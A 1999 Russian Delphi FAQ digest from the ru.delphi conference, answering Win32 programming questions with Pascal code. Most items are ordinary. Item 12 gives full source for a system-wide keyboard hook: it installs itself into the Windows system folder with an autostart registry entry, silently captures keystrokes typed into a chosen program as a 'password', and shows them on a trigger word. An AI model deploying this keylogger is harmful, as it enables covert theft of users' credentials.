AKdTopic

Начало Следующая



Дайджест по эхоконференции ru.delphi, включил в себя все то, что показалось мне интересным на момент его составления.

последнее обновление : 22 Октябрь 1999 г.



Новую версию этого файла также можно запросить средствами FTN, написав на имя AKServer (2:5019/10.99) письмо с полем subj: "AKdTopic"

Cоставил Alexander Kramarenko (GroupStudio@mail.ru или 2:5019/10.99)
Вопросы и ответы на них взяты из конференции RU.DELPHI
Вопросы 28,29 и 30 - из дайджеста Nick Slepchenko (2:5064/12)

-------------------------------------------------------------------------------

Содержание :

#1 Как минимизиpовать все запущеные окна?
#2 Как заставить появляться хинт, когда я захочy?
#3 Как пpогpамно вывести окно свойств экpана?
#4 Как вывести окно свойств компьютеpа?
#5 Как проверить активно ли интернет соединение (как пинговать узел?) ?
#6 Как очистить коpзинy?
#7 Как работать с плагинами ?
#8 Как таскать окно за нужный мне элемент на нём?
#9 Переиаскивание формы за любое её место.
#10 Как поместить иконку в Tray ?
#11 Как передать фокус следующему контролу ?
#12 Как отловить нажатия клавиш для всех процессов в системе?
#13 Как вытащить VersionInfo из свойств проекта дабы ее потом использовать в окнах типа About (Label, StaticText, etc)?
#14 Как определить есть ли некоторое свойство(например, Hint) у объекта ?
#15 Как послать некое сообщение всем формам ?
#16 Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?
#17 Подскажите пожалуйста как сделать имитацию ввода с клавиатуры для программы выполняющейся в дос-окне?
#18 Как вызвать из работающего приложения модальную форму и обеспечить возврат параметров при его закрытии ?
#19 Зачем нужен TAction ?
#20 Как вызвать браузер/создать письмо по указанному адресу ?
#21 Как включать/выключать лампочки на numlock, capslock, etc... ?
#22 С каким числовым форматом Delphi работает быстрее всего ?
#23 А где найти аналоги lex, yacc для паскаля ?
#24 Как получить доступ к иконкам десктопа?
#25 Как получить результат работы консольной программы ?
#26 Как сделать Redo в RichEdit ?
#27 Как уменьшить размер памяти, занимаемой delphi-приложением ?
#28 Как создать файлы с уникальными именами ?
#29 Как программно переключать раскладку клавиатуры?
#30 Как программно создать ярлык?
#31 Как сделать MS-Style диалог "О программе" ?
#32 Как пpинимать яpлыки пpи пеpетягивании их на контpол ?
#33 Как поместить иконку на Рабочий стол ?
#34 Как получить список процессов ?
#35 Как считать CRC-32 ?
#36 Какие дефайны использовать для определения версии Delphi/CPPB ?
#37 Как использовать форму из DLL ?
#38 Как избавиться от сообщения об ошибке 216, иногда возникающей при выходе из приложения ?
#39 Как обрабатывать ошибки в дельфовых COM-объектах ?
#40 Как вызывать диалог выбора фолдеров ?
#41 Как работать с очень большими числами ?
#42 Как правильно при выводе на экран обрезать имя файла по длине ?
#43 Как запретить показ курсора в TEdit и ему подобных контролах ?

Красным помечены новые вопросы.

 


1> Как минимизиpовать все запущеные окна?

{$APPTYPE CONSOLE}

program Minimize;
uses Windows,Messages;
var
  Count : integer;

function EnumProc (WinHandle: HWnd; Param: LongInt): Boolean; stdcall;
begin
  if (GetParent (WinHandle) = 0) and (not IsIconic (WinHandle)) and (IsWindowVisible (WinHandle)) then
   begin
    PostMessage (WinHandle, WM_SYSCOMMAND, SC_MINIMIZE, 0);
    Inc(Count);
   end;
  EnumProc := TRUE;
end;

begin
  Count:=0;
  EnumWindows (@EnumProc, 0);
  Writeln('Minimized:',Count,' windows');
end.


2> Как заставить появляться хинт, когда я захочy?

{Появление}
if h<>nil H.ReleaseHandle; {если чей-то хинт yже был, то его погасить}
H:=THintWindow.Create(Окно-владелец хинта);
H.ActivateHint(H.CalcHintRect(...),'hint hint nint');
....
{UnПоявление :) - это возможно пpидется повесить на таймеp, котоpый бyдет
обнyляться пpи каждом новом появлении хинта}
if h<>nil H.ReleaseHandle;

По-дpyгомy задача тоже pешаема, но очень плохо. (см исходник объекта
TApplication, он как pаз сабжами заведyет.

 

3> Как пpогpамно вывести окно свойств экpана?

ShellExecute(Application.Handle, 'open', 'desk.cpl', nil, nil, sw_ShowNormal);

 

4> Как вывести окно свойств компьютеpа?

ShellExecute(Application.Handle, 'open', 'sysdm.cpl', nil, nil, sw_ShowNormal);

 

5> Как проверить активно ли интернет соединение (как пинговать узел?) ?

Попробуй пинговать какой-нить www.microsoft.com. Hадеюсь, узла с таким
именем нет в вашей локальной сети. Цитирую свое-же письмо от 13 июня сего
года:

function TMailer.PingHost(HostName: String): boolean;
var
  H: PHostEnt;
  WSDATA: WSADATA;
  I,AutoConnectState: Integer;
begin
  Result := False;
  With TRegistry.Create do
  try
    { Отключам автоматическое подключение через модем }
    OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings', False);
    ReadBinaryData('EnableAutodial', AutoConnectState,   SizeOf(AutoConnectState));
    I := 0;
    WriteBinaryData('EnableAutodial', I, SizeOf(I));
    { Загружаем библиотеку WinSock }
    if WSAStartup(MAKEWORD(1, 0), WSDATA) <> 0 then
     begin
      { ошибка получилась :-( }
      Exit;
     end;
    H := GetHostByName(PChar(HostName));
    Result := H <> nil;
   finally
    WriteBinaryData('EnableAutodial', AutoConnectState,   SizeOf(AutoConnectState));
    WSACleanup;
    Free;
   end;
end;

 

6> Как очистить коpзинy?

Есть функция SHEmptyRecycleBin (в shell32.dll), но она не документирована (по крайней мере в win32.hlp ее нет).

 

7> Как работать с плагинами ?

Я сделал так - выбираю все DLL из каталога с программой, загружаю каждую и пытаюсь найти в ней функцию (через API GetProcAddress) с заранее определенным жестко именем (например что нибудь типа IsPluginForMyStuff). Если нашлась - DLL считается моим плагином, если нет - выгрузить и забыть.

А набор вызываемых функций по идее одинаков у всех плагинов, и программа (основная) в курсе какие именно функции она ищет в DLL. Если даже и не так, то ничего не мешает тебе определить в плагине функцию наподобие GetFeatures, возвращающую список строк-названий поддержанных плагином процедур.

Вот часть моего кода по работе с плагинами...

=================
...
type
// Процедурные типы для хранения ссылок на функции плагинов
TGetNProc=function:shortstring;
TGetSProc=function:integer;
TProcessProc=procedure(config:pointer; request:PRequest; var reply:PReply);
TConfigProc=procedure(defcfg:PSysConfig; var config:pointer);
TSaveLoadProc=procedure(inifile:pointer; var config:pointer);

// Информация об отдельном плагине
TPlugin=record
Name:shortstring; // Полное название
Filename:shortstring; // Имя файла
Handle:integer; // Хэндл загруженной DLL
CFGSize:integer; // Размер конфигурации в RAM
ProcessProc: TProcessProc; // Адрес процедуры обработки
ConfigProc: TConfigProc; // Адрес процедуры настройки
LoadCFG,SaveCFG:TSaveLoadProc; // Адреса процедур чтения/записи cfg
end;
PPlugin=^TPlugin;

// Список загруженных плагинов
TPlugins=class(TList);

...

var
Plugins:TPlugins; sr:TSearchRec; lib:integer;
pgetn:TGetNProc; pgets: TGetSProc; plugin:PPlugin;

...

// Читаем плагины и создаем их список.
Plugins:=TPlugins.Create;
if FindFirst('*.dll',faAnyFile,sr)<>0 then begin
ShowMessage('Hе найдено подключаемых модулей.');
Close;
end;
repeat
lib:=LoadLibrary(PChar(sr.Name));
if lib<>0 then begin
@pgetn:=GetProcAddress(lib, 'GetPluginName');
if @pgetn=nil then FreeLibrary(lib) // Hе плагин
else begin
New(plugin);
@pgets:=GetProcAddress(lib, 'GetCFGSize');
plugin.Name:=pgetn;
plugin.Filename:=sr.Name;
plugin.CFGSize:=pgets;
plugin.Handle:=lib;
plugin.ConfigProc:=GetProcAddress(lib, 'Configure');
plugin.ProcessProc:=GetProcAddress(lib, 'Process');
plugin.SaveCFG:=GetProcAddress(lib, 'SaveCFG');
plugin.LoadCFG:=GetProcAddress(lib, 'LoadCFG');
Plugins.Add(plugin);
end;
end;
until FindNext(sr)<>0;
FindClose(sr);
...

 

8> Как таскать окно за нужный мне элемент на нём?

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
const
  SC_DragMove = $F012;
{ a magic number }
begin
  ReleaseCapture;
  panel1.perform(WM_SysCommand, SC_DragMove, 0);
end;

 

9> Переиаскивание формы за любое её место.

procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest);
begin
  if PtInRegion(rgn, Message.XPos, Message.YPos) then
   Message.Result := HTCAPTION
  else
   Message.Result := HTNOWHERE;
end;

 

10> Как поместить иконку в Tray ?

function TaskBarAddIcon( hWindow : THandle; ID : Cardinal; ICON : hicon; CallbackMessage : Cardinal; Tip : String ) : Boolean;
var
   NID : TNotifyIconData;
begin
   FillChar( NID, SizeOf( TNotifyIconData ), 0 );
   with NID do
    begin

     cbSize := SizeOf( TNotifyIconData );
     Wnd := hWindow;
     uID := ID;
     uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
     uCallbackMessage := CallbackMessage;
     hIcon := Icon;
     if Length( Tip ) > 63 then SetLength( Tip, 63 );
     StrPCopy( szTip, Tip );
    end;
   Result := Shell_NotifyIcon( NIM_ADD, @NID );
end;

 

11> Как передать фокус следующему контролу ?

Perform(WM_NEXTDLGCTL, 0, 0).

 

12> Как отловить нажатия клавиш для всех процессов в системе?

Setup.bat


@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg
HookAgnt.reg
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"


KbdHook.dpr


program cwbhook;
uses Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;

begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeat until not GetMessage(msg, 0, 0, 0);
end.


HookAgnt.dpr


library HookAgent;
uses Windows, KeyboardHook in 'KeyboardHook.pas';
exports
KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;

// DLL_PROCESS_DETACH |
procedure DLLMain(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
begin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;


// DLL_PROCESS_ATTACH |
begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging file
nil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);

if hFileMappingObject = INVALID_HANDLE_VALUE then
begin
ExitCode := 1;
Exit;
end;

fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0 // default: map entire file
);

if lpvMem = nil then
begin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;

if fInit then
FillChar(lpvMem, PASSWORDSIZE, #0);

end.


KeyboardHook.pas
unit KeyboardHook;
interface
uses Windows;

// Глобальные переменные и константы |

const
PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT;

var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;

begin
lpszPassword := PChar(lpvMem);

if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE)
then
lstrcat(lpszPassword, szKeyName);

if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
begin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;

Result := 0;
end

else
Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

end.


Установлен автор ответа на вопрос.

Обратите внимание, что хук на события по всей системе должен располагаться в
DLL. Это условие необязательно, если Вы хотите отловить только те события,
которые попадают в Ваше приложение.

Обратите внимание на то, что для взаимодействия между процессами используется
файл, проецируемый в память. Дело в том, что хук вызывается в контексте
процесса, в котором это событие обрабатывается.

 

13> Как вытащить VersionInfo из свойств проекта дабы ее потом использовать в окнах типа About (Label, StaticText, etc)?

function CurrentFileInfo(NameApp : string) : string;
var 
   dump: DWORD;
   size: integer;
   buffer: PChar;
   VersionPointer, TransBuffer: PChar;
   Temp: integer;
   CalcLangCharSet: string;
begin
   size := GetFileVersionInfoSize(PChar(NameApp), dump);
   buffer := StrAlloc(size+1);
   try
    GetFileVersionInfo(PChar(NameApp), 0, size, buffer);
    VerQueryValue(buffer, '\VarFileInfo\Translation', pointer(TransBuffer), dump);
   if dump >= 4 then
     begin
      temp:=0;
      StrLCopy(@temp, TransBuffer, 2);
      CalcLangCharSet:=IntToHex(temp, 4);
      StrLCopy(@temp, TransBuffer+2, 2);
      CalcLangCharSet := CalcLangCharSet+IntToHex(temp, 4);
     end;

    VerQueryValue(buffer, pchar('\StringFileInfo\'+CalcLangCharSet+'\'+'FileVersion'), pointer(VersionPointer), dump);
    if (dump > 1) then
     begin
      SetLength(Result, dump);
      StrLCopy(Pchar(Result), VersionPointer, dump);
    end
  else
    Result := '0.0.0.0';
   finally
    StrDispose(Buffer);
   end;
end;

 

14> Как определить есть ли некоторое свойство(например, Hint) у объекта ?

TypInfo .GetPropInfo (My_Component.ClassInfo, 'Hint') <> nil

Таким образом можно узнать наличие таковой published "прОперти".
А вот если это не поможет, то можно и "ломиком" поковыряться посредством FieldAddress. Однако этот метод дает адрес полей, которые перечисляются сразу после объявления класса как в unit'ых форм.
А вот ежели "прОперть" нигде не "засветилась" (published) то фиг ты ее достанешь.
А модифицировать значение можно посредством прямой записи по адресу FieldAddress (крайне нежелательно!) либо используя цивилизованный способы, перечисленные в unit'е TypInfo.

2AS: Модифицировать кучу объектов можно организовав цикл перебора оных с получением в цикле PropertyInfo объекта и записи в объект на основе PropInfo.

 

15> Как послать некое сообщение всем формам ?

var
   I: Integer;
   M: TMessage;
...
with M do
begin

  Message := ...
   ...
end;

for I := 0 to Pred(Screen.FormCount) do
  begin
   PostMessage( Forms[I].Handle, ... );
   // Если надо и всем чилдам
   Forms[I].Broadcast( M );
  end;

 

16> Как DLL правильно заполнить строковыми ресурсами, и потом достать их ?

Делаешь текстовый файл с ресурсами, типа

--my.rc--
STRINGTABLE
{
00001, "My String #1"
00002, "My String #2"
}
Далее компилируешь его:
brcc32 my.rc
У тебя получится my.res.

Делаешь DLL:
--my.dpr--
library my;
{$R my.res}
begin
end.
Компилируешь Дельфиским компилятором:
dcc32 my.dpr
Получаешь, наконец-то свою my.dll

Теперь о том, как использовать.
В своей программе:
var
  h : THandle;
  S: array [0..255] of Char;
begin
  h := LoadLibrary('MY.DLL');
if h <= 0 then
   ShowMessage('Bad Dll Load')
  else
   begin
    SetLength(S, 512);
    LoadString(h, 1, @S, 255);
    FreeLibrary(h);
   end;
end;


17> Подскажите пожалуйста как сделать имитацию ввода с клавиатуры для программы   выполняющейся в дос-окне?

const
ExtendedKeys: set of Byte = [ // incomplete list
VK_INSERT, VK_DELETE, VK_HOME, VK_END, VK_PRIOR, VK_NEXT, VK_LEFT, VK_UP, VK_RIGHT, VK_DOWN, VK_NUMLOCK ];

procedure SimulateKeyDown(Key : byte);
var
flags: DWORD;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
keybd_event(Key, MapVirtualKey(Key, 0), flags, 0);
end;

procedure SimulateKeyUp(Key : byte);
var
flags: DWORD;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
keybd_event(Key, MapVirtualKey(Key, 0), KEYEVENTF_KEYUP or flags, 0);
end;

procedure SimulateKeystroke(Key : byte);
var
flags: DWORD;
scancode: BYTE;
begin
if Key in ExtendedKeys then flags := KEYEVENTF_EXTENDEDKEY else flags := 0;
scancode := MapVirtualKey(Key, 0);
keybd_event(Key,
scancode,
flags,
0);
keybd_event(Key,
scancode,
KEYEVENTF_KEYUP or flags, 0);
end;

 

18> Как вызвать из работающего приложения модальную форму и обеспечить возврат параметров при его закрытии ?

procedure TMyDialogBox.OKButtonClick(Sender: TObject);
begin
  ModalResult := mrOK;
end;


procedure TMyDialogBox.CancelButtonClick(Sender: TObject);
begin
  ModalResult := mrCancel;
end;

Пример обработки результат ниже :

procedure TForm1.Button1Click(Sender: TObject);
begin
  if MyDialogBox1.ShowModal = mrOK then
  Beep;
end;

 

19> Зачем нужен TAction ?

Hужны они для синхронизации свойств Enable, Checked, ImageIndex, Caption, Hint, OnClick и т.п. различных контролов. Hаиболее часто применяется для кнопок и элементов меню. Сильно облегчает разработку дружественных сред, когда до какого-то действия можно добраться через кнопку toolbar'а, MainMenu'шку и PopupMenu'шку:
1. Создал Action, проставил св-ва (Caption, Hint, ImageIndex и т.п.)
2. Прописал действие на OnExecute (если не лениться и задавать нормальные имена Action'ам, то процедуры тоже будут иметь нормальные имена)
3. Прописал на TAction.OnUpdate условия для Enabled, Checked и т.п.:
procedure TForm1.DBConnectUpdate(Sender: TObject);
begin
Checked := Database1.Connected;
Enabled := (FUserName + FPassword) <> '';
end;
4. Проставил всем компонентам, активизирующим это действие, свойства
Action и, если надо, ImageList.
Без экшинсов тебе пришлось бы всем контролам проставлять Caption'ы,
хинты, имагиндексы и т.п.. Прописывать везде, где надо, куски типа
BtnConnect.Enabled := экспр
PUConnect.Enabled := экспр
PDConnect.Enabled := экспр
BtnConnect.Checked:= др.экспр
PUConnect.Checked := др.экспр
PDConnect.Checked := др.экспр

и следить за тем, чтобы все кнопки/меню итемы и т.п. соответствовали:
пользователь сделал изменение, хочет сохранить, а у него в менюшке по правой кнопке пункт Save - запрещен. И расскажи ему, что у него в MainMenu/File/Save - разрешился, а этот - "забыл".
Далее, можно спокойно "нарисовать" этот ActionList с Action'ами, набросать кнопок на один ToolBar, проработать функциональность, а уже потом не напрягаясь и не думая, где какой код вставить, "дорисовывать" менюшки и
кнопки. При этом, когда надо одну кнопку грохнуть, а другую добавить - это не напрягает, т.к. ничего важного элемент кнопки не содержит. Всю информацию о поведении этой кнопки содержит соответствующий Action.
Вывод: снижает трудозатраты на разработку пользовательского интерфейса - снижает вероятность ошибки. Hакладные расходы оценить не пытался (они безусловно есть), но думаю, что они в большинстве случаев не существенны.


20> Как вызвать браузер/создать письмо по указанному адресу ?

ShellExecute(Application.Handle,'open','http://mysite.com,nil,nil,0);
ShellExecute(Application.Handle,'open','mailto:towho@mysite.com',nil,nil,0);

 

21> Как включать/выключать лампочки на numlock, capslock, etc... ?

procedure SetNumLock(bState:Boolean);
var
  KeyState : TKeyboardState;
begin
  GetKeyboardState(KeyState);
if ( (bState) and (not ((KeyState[VK_NUMLOCK] and 1)=1) ) or ( (not (bState)) and ((KeyState[VK_NUMLOCK] and 1)=1))) then
   // Simulate a key press
   keybd_event(VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or 0), 0);
   // Simulate a key release
   keybd_event( VK_NUMLOCK, $45, (KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP), 0);
end;

Заменяйте VK_NUMLOCK на все что душе угодно.

 

22> С каким числовым форматом Delphi работает быстрее всего ?

Простой тест: под рукой прога для вычисления координат цвета по спектру из 10000 точек, вычислений там прилично:

type time

sec

single

2.20

double

3.63

real

4.28

extended

5.95

 

Следующая